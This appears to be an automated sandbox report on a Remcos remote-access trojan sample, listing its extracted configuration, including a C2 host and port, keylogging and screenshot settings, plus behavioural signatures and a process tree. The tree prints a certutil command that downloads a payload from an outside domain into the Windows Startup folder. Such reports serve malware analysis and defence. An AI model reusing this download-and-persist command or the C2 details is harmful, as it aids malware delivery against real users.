Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/05/2026, 01:31

General

  • Target
    2026-05-08_a3ed7b4f137f8653434c456d85f9c197_agent-tesla_amadey_darkgate_elex_glassworm_maze_remcos.exe
  • Size 1.8MB
  • Sample260509-bxwbpsht5w
  • SHA256 1051d275c1ec66daacd2eb46301986fb4711e6f88979f34a800355284596ecac
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 2.4.5 Pro

Botnet
  • Remote%Host

C2
  • www.rmagent.biz:7181

Attributes
  • audio_folder

    MicRecords

  • audio_path

    %AppData%

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    vbs.server.exe

  • copy_folder

    vbs.server

  • delete_file

    true

  • hide_file

    true

  • hide_keylog_file

    false

  • install_flag

    false

  • install_path

    %AppData%

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • keylog_path

    %AppData%

  • mouse_option

    false

  • mutex

    Remcos-00GA1C

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • startup_value

    vbs.server

  • take_screenshot_option

    false

  • take_screenshot_time

    5

  • take_screenshot_title

    wikipedia;solitaire;

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • detects Windows exceutables potentially bypassing UAC using eventvwr.exe 4 IoCs
  • Manipulates Digital Signatures 1 TTPs 3 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Drops startup file 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-08_a3ed7b4f137f8653434c456d85f9c197_agent-tesla_amadey_darkgate_elex_glassworm_maze_remcos.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-08_a3ed7b4f137f8653434c456d85f9c197_agent-tesla_amadey_darkgate_elex_glassworm_maze_remcos.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:4968
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4088
      • C:\Windows\SysWOW64\certutil.exe
        certutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"
        3⤵
        • Manipulates Digital Signatures
        • System Location Discovery: System Language Discovery
        PID:3040
    • C:\Users\Admin\AppData\Local\Temp\2026-05-08_a3ed7b4f137f8653434c456d85f9c197_agent-tesla_amadey_darkgate_elex_glassworm_maze_remcos.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-05-08_a3ed7b4f137f8653434c456d85f9c197_agent-tesla_amadey_darkgate_elex_glassworm_maze_remcos.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:5384

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        startup.bat

        • Path C:\Users\Admin\AppData\Local\Temp\startup.bat
        • Size 189B
        • SHA256 1aa1d3f94403886d377c65cf35624d289107ea78beedaf433d18c83b20c3092f
        • MD5 SHA1 SHA512 TLSH

        logs.dat

        • Path C:\Users\Admin\AppData\Roaming\remcos\logs.dat
        • Size 79B
        • SHA256 e41c6478b23d827bec6752665b0cc337464a4592f5c4e1ce45299834a3dcd024
        • MD5 SHA1 SHA512 TLSH

        memory/3040-21-0x00000000034C0000-0x0000000003524000-memory.dmp

        memory/3040-20-0x0000000003240000-0x0000000003247000-memory.dmp

        memory/4968-6-0x0000000000C10000-0x0000000000C11000-memory.dmp

        memory/4968-24-0x0000000000AD0000-0x0000000000B34000-memory.dmp

        memory/5384-7-0x0000000000870000-0x0000000000890000-memory.dmp

        memory/5384-14-0x0000000000870000-0x0000000000890000-memory.dmp

        memory/5384-15-0x0000000000870000-0x0000000000890000-memory.dmp

        memory/5384-18-0x0000000000870000-0x0000000000890000-memory.dmp

        memory/5384-25-0x0000000000C10000-0x0000000000C17000-memory.dmp